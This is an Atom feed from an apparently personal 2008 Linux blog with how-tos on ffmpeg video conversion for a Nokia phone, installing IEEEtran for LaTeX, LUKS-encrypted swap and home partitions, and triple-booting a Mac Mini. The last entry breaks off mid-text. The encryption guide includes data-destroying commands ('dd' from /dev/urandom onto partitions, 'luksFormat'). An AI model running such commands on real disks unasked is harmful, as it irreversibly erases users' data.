<?xml version="1.0" encoding="utf-8" ?>

<feed xmlns="http://www.w3.org/2005/Atom" >
<title type="text">Lars Strand</title>
<subtitle type="text">Web feed from blog.gnist.org</subtitle>
<link rel="self" href="http://blog.gnist.org/backend/gnist1.xml"/>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/"/>
<id>http://blog.gnist.org/</id>
<updated>2008-11-06T15:05:45+01:00</updated>
<author>
<name>Lars Strand</name>
<email>lars@gnist.org</email>
</author>
<entry>
<title type="html">Google video on your phone</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=Google-Video-On-N73"/>
<id>tag:blog.gnist.org,2008-10-26:/article.php?story=Google-Video-On-N73</id>
<published>2008-10-26T15:04:00+01:00</published>
<updated>2008-10-26T15:04:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;I have a &lt;a href=&quot;http://en.wikipedia.org/wiki/Nokia_N73&quot;&gt;Nokia N73&lt;/a&gt; &quot;Music Edition&quot; mobile phone. The &quot;Music Edition&quot; part isn't important to me, since I never listen to music when I'm on the run. I read. But sometimes I'm too tired to read, especially when I'm on my way home from work. But the subway takes 30 minutes so I'll have to do something. 
&lt;p&gt;Google releases a lot of technical &lt;a href=&quot;http://video.google.com/&quot;&gt;video&lt;/a&gt; documentaries (&quot;tech talks&quot;) that I hardly ever have time to watch. &lt;a href=&quot;http://www.ted.com/&quot;&gt;TED&lt;/a&gt; also have lots of interesting talks. My phone do support playing video - at least  &lt;a href=&quot;http://en.wikipedia.org/wiki/3gp&quot;&gt;3GP&lt;/a&gt;. The screen resolution is not &lt;em&gt;that&lt;/em&gt; bad either, with 240x320 pixels. It also has a 2GB miniSD memory card, so storage shouldn't be a problem. You can download most of the Google videos (for &quot;iPod/PSP&quot;) and TED talks.  What you then get is a MPEG4 file. My phone does not play MPEG4, so how can I fix that?&lt;p&gt;There is some web-services that can convert video for you. Like &lt;a href=&quot;http://zamzar.com/&quot;&gt;zamzar.com&lt;/a&gt;, but in Zamazars case, it has a 100MB size-limit.&lt;p&gt;Luckily, &lt;a href=&quot;http://ffmpeg.mplayerhq.hu/&quot;&gt;ffmpeg&lt;/a&gt; can convert to and from anything. &lt;p&gt;&lt;strong&gt;1. Install:&lt;/strong&gt;&lt;pre&gt;  &amp;#36; &lt;strong&gt;aptitude install ffmpeg&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;&lt;strong&gt;2. Then, make sure the restricted codecs are installed. Follow the instruction from:&lt;/strong&gt;&lt;p&gt;&lt;a href=&quot;http://ubuntuguide.org/wiki/Ubuntu:Feisty#How_to_install_Multimedia_Codecs&quot;&gt;http://ubuntuguide.org/wiki/Ubuntu:Feisty#How_to_install_Multimedia_Codecs&lt;/a&gt;&lt;p&gt;&lt;strong&gt;3. Download your favorite &lt;a href=&quot;http://video.google.com&quot;&gt;Google&lt;/a&gt;/&lt;a href=&quot;http://www.ted.com&quot;&gt;TED&lt;/a&gt; video.&lt;/strong&gt;&lt;p&gt;&lt;strong&gt;4. Convert:&lt;/strong&gt;&lt;pre&gt;&amp;#36; &lt;strong&gt;ffmpeg -i downloaded-google-video.mp4 -s qcif -vcodec h263 -acodec aac &amp;#92;&lt;br&gt;-ac 1 -ar 44100 -r 25 -ab 64 -y converted-google-video.3gp&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;&lt;strong&gt;5. Upload&lt;/strong&gt; to your phone using bluetooth. Just one quick note: I had to configure my phone to use the miniSD for saving incoming messages. The internal storage is too small for the video file(s).&lt;p&gt;&lt;strong&gt;6. Play!&lt;/strong&gt; Works great.</content>
</entry>
<entry>
<title type="html">Proper paper formatting with Latex and IEEEtran</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=LatexWithIEEEtran"/>
<id>tag:blog.gnist.org,2008-05-11:/article.php?story=LatexWithIEEEtran</id>
<published>2008-05-11T22:19:00+02:00</published>
<updated>2008-05-11T22:19:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;Many scientific papers use Latex for formatting. There exists an Latex class called &lt;a href=&quot;http://www.michaelshell.org/tex/ieeetran/&quot;&gt;IEEEtran&lt;/a&gt; which &lt;em&gt;&quot;produce high quality typeset papers&quot;&lt;/em&gt; (example &lt;a href=&quot;http://www.ctan.org/get/macros/latex/contrib/IEEEtran/IEEEtran_HOWTO.pdf&quot;&gt;here&lt;/a&gt;). Besides from being nice, it is also a requirement for many conferences/journals to submit papers using this class. But how do we install it on Ubuntu/Debian?
&lt;p&gt;I re-installed one of my workstation with Ubuntu 8.04 here the other day. On it, I also need Latex with the IEEEtran class. To my surprise, installing it was easier than I though:&lt;p&gt;First we install the required Latex packages:&lt;pre&gt; # &lt;strong&gt;apt-get install texlive-latex-base texlive-latex-recommended texlive-fonts-recommended texlive-pictures&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Now, instead of manually installing the IEEEtran class, its already available in apt:&lt;pre&gt; # &lt;strong&gt;apt-get install texlive-publishers texlive-publishers-doc&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Installed with documentation! Full read here:&lt;pre&gt; &amp;#36; &lt;strong&gt;evince /usr/share/doc/texlive-publishers-doc/latex/IEEEtran/IEEEtran_HOWTO.pdf&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;and&lt;pre&gt; &amp;#36; &lt;strong&gt;evince /usr/share/doc/texlive-publishers-doc/latex/IEEEtran/IEEEtran_bst_HOWTO.pdf&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Now its just to install Emacs with my favorite Latex-mode:&lt;pre&gt;  # &lt;strong&gt;apt-get install emacs auctex emacs22-el&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Ready for writing!</content>
</entry>
<entry>
<title type="html">Encrypted swap and home partition in Ubuntu 8.04</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=EncryptedSwapAndHomeUbuntu"/>
<id>tag:blog.gnist.org,2008-05-04:/article.php?story=EncryptedSwapAndHomeUbuntu</id>
<published>2008-05-04T22:34:00+02:00</published>
<updated>2008-05-04T22:34:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;I really would like to have an encrypted swap and home partition on my laptop. In case it gets stolen or if I should forget it somewhere, I can be sure that no-one would be able to read my private files. In this mini-howto I set my home partition using LVM, but using a regular partition should work just fine. This howto should also work, with minor modification, if you use another distribution than Ubuntu.
&lt;p&gt;By using &lt;em&gt;Linux Unified Key Setup&lt;/em&gt; (LUKS) setting up encrypted partition in Linux is done in no time.&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;strong&gt;Prerequisites&lt;/strong&gt;&lt;/font&gt;&lt;p&gt;Install required packages:&lt;/strong&gt;&lt;pre&gt;# &lt;strong&gt;apt-get install lvm2 cryptsetup libpam-mount&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Insert the needed modules (or just reboot). You should now have at least these modules installed:&lt;pre&gt;&amp;#36; &lt;strong&gt;lsmod | egrep 'aes|dm_crypt'&lt;/strong&gt;&lt;br&gt;aes_i586               33536  3 &lt;br&gt;dm_crypt               15364  0 &lt;br&gt;dm_mod                 62660  3 dm_crypt,dm_mirror,dm_snapshot&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;The device-mapper should be active:&lt;pre&gt;&amp;#36; &lt;strong&gt;ls -l /dev/mapper/&lt;/strong&gt;&lt;br&gt;total 0&lt;br&gt;crw-rw---- 1 root root 10, 63 2008-05-04 17:12 control&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;..with support for crypto:&lt;pre&gt;# &lt;strong&gt;dmsetup targets | grep crypt&lt;/strong&gt;&lt;br&gt;crypt            v1.5.0&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Further the kernel need to support hash and encryption algorithms:&lt;pre&gt;&amp;#36; &lt;strong&gt;cat /proc/crypto | grep name&lt;/strong&gt;&lt;br&gt;name         : sha256&lt;br&gt;name         : cbc(aes)&lt;br&gt;name         : aes&lt;br&gt;name         : md5&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Good. Now we're ready.&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;strong&gt;Part I: Setting up encrypted swap&lt;/strong&gt;&lt;/font&gt;&lt;p&gt;&lt;strong&gt;Step 1: Disable your current swap partition.&lt;/strong&gt;&lt;pre&gt; # &lt;strong&gt;swapoff /dev/sda2&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Step 2: Fill your swap with random data.&lt;/strong&gt;&lt;pre&gt;# &lt;strong&gt;dd if=/dev/urandom of=/dev/sda2 bs=1M&lt;/strong&gt;&lt;br&gt;1954+0 records in&lt;br&gt;1953+0 records out&lt;br&gt;2048094208 bytes (2.0 GB) copied, 529.177 s, 3.9 MB/s&lt;br&gt;&lt;/pre&gt;&lt;p&gt;As you see, this might take some time depending on your swap size. So go grab a coffe.&lt;p&gt;&lt;strong&gt;Step 3: Configure encrypted swap.&lt;/strong&gt;&lt;p&gt;Add this to your &lt;code&gt;/etc/crypttab&lt;/code&gt;&lt;pre&gt;# &lt;strong&gt;cat /etc/cryptab&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;cryptoswap /dev/sda2 /dev/urandom cipher=aes-cbc-essiv:sha256,size=256,hash=sha256,swap&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Why &lt;code&gt;/dev/urandom&lt;/code&gt; and not &lt;code&gt;/dev/random&lt;/code&gt;? The latter blocks until it got enough entropy to continue, &lt;code&gt;urandom&lt;/code&gt; don't. So if you use &lt;code&gt;random&lt;/code&gt; instead &lt;code&gt;urandom&lt;/code&gt; you might have to wait during boot until enough entropy is collected. (It do help to type your keyboard and move the mouse.) Use &lt;code&gt;/dev/random&lt;/code&gt; if you're &lt;em&gt;really&lt;/em&gt; paranoid. Read the last comments in &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/cryptsetup/+bug/62751&quot;&gt;this bugreport&lt;/a&gt; for details.&lt;p&gt;Next, change your swap entry in &lt;code&gt;/etc/fstab&lt;/code&gt; to this:&lt;pre&gt;# &lt;strong&gt;cat /etc/fstab&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;/dev/mapper/cryptoswap none swap sw 0 0&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;For every time we boot, swap will be encrypted with a different encryption key.&lt;p&gt;&lt;strong&gt;Step 4: Test it.&lt;/strong&gt;&lt;p&gt;Reboot to test. &lt;p&gt;We now have an encrypted swap:&lt;pre&gt;# &lt;strong&gt;cat /proc/swaps&lt;/strong&gt;&lt;br&gt;Filename				Type		Size	Used	Priority&lt;br&gt;/dev/mapper/cryptoswap                  partition	2000084	0	-1&lt;br&gt;&lt;br&gt;# &lt;strong&gt;cryptsetup status cryptoswap&lt;/strong&gt;&lt;br&gt;/dev/mapper/cryptoswap is active:&lt;br&gt;  cipher:  aes-cbc-essiv:sha256&lt;br&gt;  keysize: 256 bits&lt;br&gt;  device:  /dev/sda2&lt;br&gt;  offset:  0 sectors&lt;br&gt;  size:    4000185 sectors&lt;br&gt;  mode:    read/write&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Good. Now we're safe right? &lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;strong&gt;Part II: Creating and setting up an encrypted home partition&lt;/strong&gt;&lt;/font&gt;&lt;p&gt;&lt;strong&gt;Step 1: Setting up a home partition using LVM.&lt;/strong&gt;&lt;p&gt;If you use a regular partition, you can easily skip this step.&lt;pre&gt;# &lt;strong&gt;pvcreate /dev/sda3&lt;/strong&gt;&lt;br&gt;  Physical volume &quot;/dev/sda3&quot; successfully created&lt;br&gt;# &lt;strong&gt;vgcreate vg_storage /dev/sda3&lt;/strong&gt;&lt;br&gt;  Volume group &quot;vg_storage&quot; successfully created&lt;br&gt;# &lt;strong&gt;vgchange -a y vg_storage&lt;/strong&gt;&lt;br&gt;  0 logical volume(s) in volume group &quot;vg_storage&quot; now active&lt;br&gt;# &lt;strong&gt;lvcreate -L20G -nlv_home vg_storage&lt;/strong&gt;&lt;br&gt;  Logical volume &quot;lv_home&quot; created&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;For more details on how to use LVM, please check out the excellent &lt;a href=&quot;http://tldp.org/HOWTO/LVM-HOWTO/&quot;&gt;LVM HOWTO&lt;/a&gt;.&lt;p&gt;&lt;strong&gt;Step 2: Fill your soon-to-be home partition with random data.&lt;/strong&gt;&lt;pre&gt; # &lt;strong&gt;dd if=/dev/urandom of=/dev/vg_storage/lv_home&lt;/strong&gt;&lt;br&gt;20481+0 records in&lt;br&gt;20480+0 records out&lt;br&gt;21474836480 bytes (21 GB) copied, 5554.23 s, 3.9 MB/s&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;This will take even longer than the swap partition. So go for lunch or something.&lt;p&gt;&lt;strong&gt;Step 3: Initialize the partition and set initial key.&lt;/strong&gt;&lt;p&gt;Remember, if you use a weak password, your screwed. If you forget the password, its game over.&lt;pre&gt;# &lt;strong&gt;cryptsetup -c aes-cbc-essiv:sha256 -y -s 256 luksFormat /dev/vg_storage/lv_home&lt;/strong&gt;&lt;br&gt;&lt;br&gt;WARNING!&lt;br&gt;========&lt;br&gt;This will overwrite data on /dev/vg_storage/lv_home irrevocably.&lt;br&gt;&lt;br&gt;Are you sure? (Type uppercase yes): &lt;strong&gt;YES&lt;/strong&gt;&lt;br&gt;Enter LUKS passphrase: &lt;br&gt;Verify passphrase: &lt;br&gt;Command successful.&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;We use cipher &quot;aes-cbc-essi&quot;, since the default is vulnerable to &lt;a href=&quot;http://en.wikipedia.org/wiki/Watermarking_attack&quot;&gt;Watermarking attack&lt;/a&gt;.&lt;p&gt;&lt;strong&gt;Step 4: Create a device mapping.&lt;/strong&gt;&lt;pre&gt;# &lt;strong&gt;cryptsetup luksOpen /dev/vg_storage/lv_home cryptohome&lt;/strong&gt;&lt;br&gt;Enter LUKS passphrase: &lt;br&gt;key slot 0 unlocked.&lt;br&gt;Command successful.&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;This will create a device mapping, as can bee see under:&lt;pre&gt;&amp;#36; &lt;strong&gt;ls -l /dev/mapper/&lt;/strong&gt;&lt;br&gt;total 0&lt;br&gt;crw-rw---- 1 root root  10, 63 2008-05-04 18:46 control&lt;br&gt;brw-rw---- 1 root disk 254,  2 2008-05-04 20:53 cryptohome&lt;br&gt;brw-rw---- 1 root disk 254,  0 2008-05-04 18:52 cryptoswap&lt;br&gt;brw-rw---- 1 root disk 254,  1 2008-05-04 20:53 vg_storage-lv_home&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Note that LVM also uses the device-mapper (that is why LVM volumes also are listed).&lt;p&gt;Or, you can use the command &lt;code&gt;dmsetup ls&lt;/code&gt; to list the mapped devices:&lt;pre&gt;&amp;#36; &lt;strong&gt;dmsetup ls&lt;/strong&gt;&lt;br&gt;cryptoswap      (254, 0)&lt;br&gt;vg_storage-lv_home      (254, 1)&lt;br&gt;cryptohome      (254, 2)&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Step 5: Create a filesystem.&lt;/strong&gt;&lt;p&gt;We noe have an encrypted partition. To use it, we need to create a filesystem on it:&lt;pre&gt;# &lt;strong&gt;mkfs.ext3 -j -m 1 -O dir_index,filetype,sparse_super /dev/mapper/cryptohome&lt;/strong&gt;&lt;br&gt;mke2fs 1.40.8 (13-Mar-2008)&lt;br&gt;Filesystem label=&lt;br&gt;OS type: Linux&lt;br&gt;Block size=4096 (log=2)&lt;br&gt;Fragment size=4096 (log=2)&lt;br&gt;1310720 inodes, 5242623 blocks&lt;br&gt;52426 blocks (1.00%) reserved for the super user&lt;br&gt;First data block=0&lt;br&gt;Maximum filesystem blocks=0&lt;br&gt;160 block groups&lt;br&gt;32768 blocks per group, 32768 fragments per group&lt;br&gt;8192 inodes per group&lt;br&gt;Superblock backups stored on blocks: &lt;br&gt;	32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,&lt;br&gt;	4096000&lt;br&gt;&lt;br&gt;Writing inode tables: done&lt;br&gt;Creating journal (32768 blocks): done&lt;br&gt;Writing superblocks and filesystem accounting information: done&lt;br&gt;&lt;br&gt;This filesystem will be automatically checked every 28 mounts or&lt;br&gt;180 days, whichever comes first.  Use tune2fs -c or -i to override.&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;&lt;strong&gt;Step 6: Testing!&lt;/strong&gt;&lt;p&gt;We start by closing and reopen the encrypted partition before we mount it:&lt;pre&gt;# &lt;strong&gt;cryptsetup luksClose cryptohome&lt;/strong&gt;&lt;br&gt;# &lt;strong&gt;cryptsetup luksOpen /dev/vg_storage/lv_home cryptohome&lt;/strong&gt;&lt;br&gt;Enter LUKS passphrase: &lt;br&gt;key slot 0 unlocked.&lt;br&gt;Command successful.&lt;br&gt;# &lt;strong&gt;mkdir -p /mnt/cryptohome&lt;/strong&gt;&lt;br&gt;# &lt;strong&gt;mount /dev/mapper/cryptohome /mnt/cryptohome&lt;/strong&gt;&lt;br&gt;# &lt;strong&gt;touch /mnt/cryptohome/testfile&lt;/strong&gt;&lt;br&gt;# &lt;strong&gt;ls /mnt/cryptohome/&lt;/strong&gt;&lt;br&gt;testfile&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;We can also confirm that it works by issuing the command:&lt;pre&gt;# &lt;strong&gt;cryptsetup status cryptohome&lt;/strong&gt;&lt;br&gt;/dev/mapper/cryptohome is active:&lt;br&gt;  cipher:  aes-cbc-essiv:sha256&lt;br&gt;  keysize: 256 bits&lt;br&gt;  device:  /dev/mapper/vg_storage-lv_home&lt;br&gt;  offset:  2056 sectors&lt;br&gt;  size:    41940984 sectors&lt;br&gt;  mode:    read/write&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Now would be a good time to move your current home to this partition. &lt;p&gt;Finally we umount:&lt;pre&gt; # &lt;strong&gt;umount /mnt/cryptohome&lt;/strong&gt;&lt;br&gt; # &lt;strong&gt;cryptsetup luksClose cryptohome&lt;/strong&gt;&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;&lt;strong&gt;Step 7: Cryptohome mounted at boot or at login?&lt;/strong&gt;&lt;p&gt;Now you have to take a choice. You can enable the partition at boot time, but then the boot sequence is interrupted asking you for the LUKS password. If you want the partition automatically mounted when you login, skip to the next section.&lt;p&gt;Instead of manually typing in password, you can have the key stored externally - for instance on a usb-stick. Read more about that &lt;a href=&quot;http://wiki.archlinux.org/index.php/LUKS_Encrypted_Root#Storing_the_key_externally_.28USB_stick.29&quot;&gt;here&lt;/a&gt;.&lt;p&gt;You want to enable mounting at boot time? Then update &lt;code&gt;/etc/crypttab&lt;/code&gt;:&lt;pre&gt;# &lt;strong&gt;cat /etc/crypttab&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;cryptohome /dev/vg_storage/lv_home none luks&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;And /etc/fstab:&lt;pre&gt;# &lt;strong&gt;cat /etc/fstab&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;/dev/mapper/cryptohome	/mnt/cryptohome ext3 relatime,errors=remount-ro 0 2&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;When you now reboot, the boot process is interrupted asking you for the LUKS password. If you type it correctly, the home partition is mounted. When you now log in, you will have an encrypted home partition ready waiting for you. &lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;strong&gt;Part III: Automatically mount when logging in.&lt;/strong&gt;&lt;/font&gt;&lt;p&gt;A more elegant solution would be to automatically mount the home partition the same time you log in. This require that you use &lt;em&gt;the same password&lt;/em&gt; for login as for the encrypted partition. (Actually that is not entirely true. You &lt;em&gt;may&lt;/em&gt; have the password stored on file somewhere. But in this howto, we assume you have the same password for both.)&lt;p&gt;&lt;strong&gt;Step 1: Remove home partition from /etc/fstab&lt;/strong&gt;&lt;p&gt;If there is an entry to your (encrypted) home partition in /etc/fstab, remove it&lt;pre&gt;# &lt;strong&gt;cat /etc/fstab&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;/dev/mapper/cryptohome	/mnt/cryptohome ext3 relatime,errors=remount-ro 0 2 # this gotta go&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;&lt;strong&gt;Step 2: Update /etc/crypttab&lt;/strong&gt;&lt;p&gt;Make sure the you have a line in &lt;code&gt;/etc/crypttab&lt;/code&gt; that reads as follows:&lt;pre&gt;# &lt;strong&gt;cat /etc/crypttab&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;cryptohome /dev/vg_storage/lv_home noauto luks&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;&lt;strong&gt;Step 3: Install and configure pam_mount&lt;/strong&gt;&lt;pre&gt;# &lt;strong&gt;apt-get install libpam-mount&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Then add the following entry in &lt;code&gt;/etc/security/pam_mount.conf.xml&lt;/code&gt;. This file is heavily commented, and it may be useful to read the comments. Add the following entry:&lt;pre&gt;# cat /etc/security/pam_mount.conf.xml&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;&amp;lt;volume user=&quot;lars&quot; fstype=&quot;crypt&quot; path=&quot;/dev/vg_storage/lv_home&quot; mountpoint=&quot;/home&quot; /&amp;gt;&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;&lt;strong&gt;Step 4: Configure PAM&lt;/strong&gt;&lt;p&gt;Add the following to &lt;code&gt;/etc/pam.d/common-auth&lt;/code&gt;&lt;pre&gt;# &lt;strong&gt;cat /etc/pam.d/common-auth&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;auth	optional	pam_mount.so use_first_pass&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;And to &lt;code&gt;/etc/pam.d/common-session&lt;/code&gt;:&lt;pre&gt;# &lt;strong&gt;cat /etc/pam.d/common-session&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;session	optional	pam_mount.so&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;&lt;strong&gt;Step 5: Test!&lt;/strong&gt;&lt;p&gt;Log out and back in. You should now have an encrypted home:&lt;pre&gt;&amp;#36; &lt;strong&gt;df -h&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;/dev/mapper/_dev_mapper_vg_storage-lv_home&lt;br&gt;                       20G  296M   20G   2% /home&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Congratulation, you now have an encrypted swap and home partition!&lt;p&gt;A final advice: Take &lt;em&gt;regular&lt;/em&gt; backups.&lt;p&gt;&lt;strong&gt;Useful links:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&quot;dm-crypt: a device-mapper crypto target&quot;: &lt;a href=&quot;http://www.saout.de/misc/dm-crypt/&quot;&gt;http://www.saout.de/misc/dm-crypt/&lt;/a&gt;&lt;li&gt;&quot;dm-crypt HOWTO for Debian unstable and testing&quot;: &lt;a href=&quot;http://www.saout.de/tikiwiki/tiki-index.php?page=HOWTO&quot;&gt;http://www.saout.de/tikiwiki/tiki-index.php?page=HOWTO&lt;/a&gt;&lt;li&gt;&quot;HOWTO Encrypt Your Home Directory Using LUKS and pam mount&quot;: &lt;a href=&quot;http://gentoo-wiki.com/HOWTO_Encrypt_Your_Home_Directory_Using_LUKS_and_pam_mount&quot;&gt;http://gentoo-wiki.com/HOWTO_Encrypt_Your_Home_Directory_Using_LUKS_and_pam_mount&lt;/a&gt;&lt;li&gt;&quot;Kryptert filsystem luks&quot; (Norwegian): &lt;a href=&quot;http://www.linuxguiden.no/index.php/Kryptert_filsystem_luks&quot;&gt;http://www.linuxguiden.no/index.php/Kryptert_filsystem_luks&lt;/a&gt;&lt;/ul&gt;</content>
</entry>
<entry>
<title type="html">Triple boot OSX Leopard, Ubuntu 8.04 and Widows Vista</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=Triple-Boot-OSX-Ubuntu-Vista"/>
<id>tag:blog.gnist.org,2008-03-05:/article.php?story=Triple-Boot-OSX-Ubuntu-Vista</id>
<published>2008-03-05T21:08:00+01:00</published>
<updated>2008-03-05T21:08:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">I received a &lt;a href=&quot;http://www.apple.com/macmini/&quot;&gt;Mac Mini&lt;/a&gt; today. We plan to use it as part of our lab setup here at work. The box is pretty small and compact. It's quite cheap too.&lt;p&gt;It will primarily be running some flavor of Linux, but I plan to install Windows Vista (&lt;a href=&quot;http://www.microsoft.com/windows/products/windowsvista/editions/systemrequirements.mspx&quot;&gt;&quot;Business&quot;&lt;/a&gt; version) and OSX Leopard on it as well. This way I can quickly test all three OSes if needed. So how do we set up triple boot on this box? It turns out to be quite easy.
&lt;p&gt;&lt;strong&gt;1. Installing OSX Leopard&lt;/strong&gt;&lt;p&gt;First, install OSX. Use the whole disk. After installation is complete, do a &quot;software update&quot; if needed.&lt;p&gt;&lt;strong&gt;2. Installing Windows Vista&lt;/strong&gt;&lt;p&gt;Next, we need to split our OSX partition in two. One for OSX, which will be resized, and another for Windows. The program &lt;a href=&quot;http://en.wikipedia.org/wiki/Boot_Camp_%28software%29&quot;&gt;&quot;Boot Camp&quot;&lt;/a&gt; does all that for us. Start it from:&lt;p&gt;&lt;em&gt;&quot;Finder&quot; &amp;rarr; &quot;Applications&quot; &amp;rarr; &quot;Utilities&quot; &amp;rarr; &quot;Boot Camp Assistant&quot;&lt;/em&gt;&lt;p&gt;Boot Camp presents us with a nice slider to resize the OSX and Windows partition. I allocate 25GB to Windows Vista:&lt;p&gt;&lt;img width=&quot;602&quot; height=&quot;444&quot; src=&quot;http://blog.gnist.org/images/articles/Triple-Boot-OSX-Ubuntu-Vista_1_original.jpg&quot; alt=&quot;&quot;&gt;&lt;p&gt;After the resize is complete, you'll be asked to insert the Vista DVD and choose &quot;start installation&quot;. OSX reboots and boots from the Vista DVD. The last partition is for Vista, so we format it (using NTFS).&lt;p&gt;After a couple of reboots later, Vista is installed&lt;p&gt;At startup, Vista boots as default. &lt;em&gt;To change this press and hold the &quot;Alt&quot; key startup boot.&lt;/em&gt; Boot into OSX.&lt;p&gt;&lt;img width=&quot;350&quot; height=&quot;242&quot; src=&quot;http://blog.gnist.org/images/articles/Triple-Boot-OSX-Ubuntu-Vista_2_original.jpg&quot; alt=&quot;&quot;&gt;&lt;p&gt;&lt;strong&gt;3. Re-partition and install rEFIt&lt;/strong&gt;&lt;p&gt;In OSX, start &quot;Disk utility&quot; from &quot;Utilities&quot;. Under &quot;Partitions&quot;, choose the OSX partition and click the &quot;+&quot; button. This splits our OSX partition in two. The new partition will be our Linux partition. Don't worry about the name or format (HPFS), we'll re-create it using ext3 later.&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Triple-Boot-OSX-Ubuntu-Vista_3_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;188&quot; src=&quot;http://blog.gnist.org/images/articles/Triple-Boot-OSX-Ubuntu-Vista_3.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;Next, we need to download a boot-manager that manages both &lt;a href=&quot;http://en.wikipedia.org/wiki/Extensible_Firmware_Interface&quot;&gt;EFI&lt;/a&gt; (which Mac uses) and (old) MBR (required by Windows). Head over and download &lt;a href=&quot;http://refit.sourceforge.net/&quot;&gt;rEFIt&lt;/a&gt;. After you've installed rEFIt, open a &quot;Terminal&quot; and type (yes, still in OSX):&lt;p&gt;&lt;pre&gt;&amp;#36; &lt;strong&gt;cd /efi/refit&lt;/strong&gt;&lt;br&gt;&amp;#36; &lt;strong&gt;./enable.sh&lt;/strong&gt;&lt;br&gt;+ sudo bless --folder /efi/refit --file /efi/refit/refit.efi --labelfile /efi/refit/refit.vollabel&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Great! Now we have a nice graphical boot manager.&lt;p&gt;&lt;strong&gt;4. Installing Ubuntu 8.10&lt;/strong&gt;&lt;p&gt;Download Ubuntu 8.04 (i386) from &lt;a href=&quot;http://www.ubuntu.com/getubuntu/download&quot;&gt;here&lt;/a&gt; and burn it to a CD. (Actually, since 8.04 isn't released yet, I'm using the alpha5-release fetched from &lt;a href=&quot;http://cdimage.ubuntu.com/releases/hardy/alpha-5/&quot;&gt;here&lt;/a&gt;). Boot the installation CD from the rEFIt menu.&lt;p&gt;When installing Ubuntu, there are two important steps:&lt;ol&gt;  &lt;li&gt;&lt;strong&gt;When choosing partition&lt;/strong&gt; be sure to manually partition the disk. Then delete &lt;strong&gt;&lt;em&gt;the third (sda3)&lt;/em&gt;&lt;/strong&gt; partition. Re-create it using ext3 and set the mount point to &quot;/&quot;. Do NOT create a swap partition. We'll create swap later.  &lt;li&gt;&lt;strong&gt;Grub:&lt;/strong&gt; Be sure to install grub on sda3 and &lt;strong&gt;&lt;em&gt;NOT&lt;/em&gt;&lt;/strong&gt; sda (hd0). You can change this by choosing &quot;Advanced&quot; under the last installation step.&lt;/ol&gt;&lt;p&gt;At the next reboot, we're presented with a nice boot screen:&lt;p&gt;&lt;img width=&quot;450&quot; height=&quot;338&quot; 